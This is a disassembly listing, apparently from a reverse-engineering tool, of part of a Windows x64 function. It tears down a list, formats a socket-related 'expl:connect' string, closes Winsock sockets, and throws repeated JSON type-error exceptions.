mov rax, qword [rbp + 0x1c8]
mov qword [rax], rax
mov rax, qword [rbp + 0x1c8]
mov qword [rax + 8], rax
mov qword [rbp + 0x1d0], r12
mov rcx, qword [rbp + 0x1c8]
mov rax, qword [rcx + 8]
mov qword [rax], r12
mov rcx, qword [rcx]
test rcx, rcx
je 0x1400294b5
nop word [rax + rax]
mov rbx, qword [rcx]
mov edx, 0x20
call fcn.140035d80
mov rcx, rbx
test rbx, rbx
jne 0x1400294a0
mov edx, 0x20
mov rcx, qword [rbp + 0x1c8]
call fcn.140035d80
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r12
mov r8d, reloc.WS2_32.dll_inet_ntoa
lea rdx, str.expl:connect
lea rcx, [rbp + 0x158]
call fcn.14000b050
nop
lea r8, [rbp + 0x158]
lea rdx, [rbp + 0x148]
call fcn.14002c6c0
mov rcx, qword [rax]
mov dword [rcx + 0x40], r12d
mov rdx, qword [rbp + 0x170]
cmp rdx, 0x10
jb 0x140029553
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002954e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140029802
call fcn.140035d80
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_closesocket]
nop
mov rdx, qword [rbp + 0x240]
cmp rdx, 0x10
jb 0x1400295ad
inc rdx
mov rcx, qword [rbp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400295a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002960c
call fcn.140035d80
mov qword [rbp + 0x238], r12
mov qword [rbp + 0x240], socket
mov byte [rbp + 0x228], 0
mov rcx, r15
call fcn.140009fd0
lea rcx, [r15 + 8]
movzx edx, byte [r15]
call fcn.140009b90
nop
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.140035d60
lea r11, [rsp + 0x520]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140047b50
nop
mov rcx, rax
call fcn.14001a100
mov qword [rbp - 0x48], rax
lea r8, [rbp - 0x48]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x1d8]
call fcn.14001f530
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp - 0x80]
call fcn.14000bb10
lea rdx, [0x14007a490]
lea rcx, [rbp - 0x80]
call fcn.140037c24
nop
call fcn.140047b50
nop
call fcn.140047b50
nop
call fcn.140047b50
nop
call fcn.140047b50
int3
call fcn.140047b50
nop
call fcn.140047b50
nop
call fcn.140047b50
nop
call fcn.140047b50
nop
mov rcx, rax
call fcn.14001a100
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x40]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp - 0x40]
call fcn.14001f530
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp - 0x80]
call fcn.14000bb10
lea rdx, [0x14007a490]
lea rcx, [rbp - 0x80]
call fcn.140037c24
nop
call fcn.140047b50
nop
mov rcx, rax
call fcn.14001a100
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x40]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x1d8]
call fcn.14001f530
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp - 0x80]
call fcn.14000bb10
lea rdx, [0x14007a490]
lea rcx, [rbp - 0x80]
call fcn.140037c24
nop
call fcn.140047b50
nop
call fcn.140047b50
nop
mov rcx, rax
call fcn.14001a100
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x40]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp - 0x40]
call fcn.14001f530
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp - 0x18]
call fcn.14000bb10
lea rdx, [0x14007a490]
lea rcx, [rbp - 0x18]
call fcn.140037c24
nop
mov rcx, rax
call fcn.14001a100
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x40]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp - 0x18]
call fcn.14001f530
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0xc0]
call fcn.14000bb10
lea rdx, [0x14007a490]
lea rcx, [rbp + 0xc0]
call fcn.140037c24
nop
mov rcx, rax
call fcn.14001a100
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x40]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp - 0x18]
call fcn.14001f530
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0xc0]
call fcn.14000bb10
lea rdx, [0x14007a490]
lea rcx, [rbp + 0xc0]
call fcn.140037c24
nop
call fcn.140047b50
int3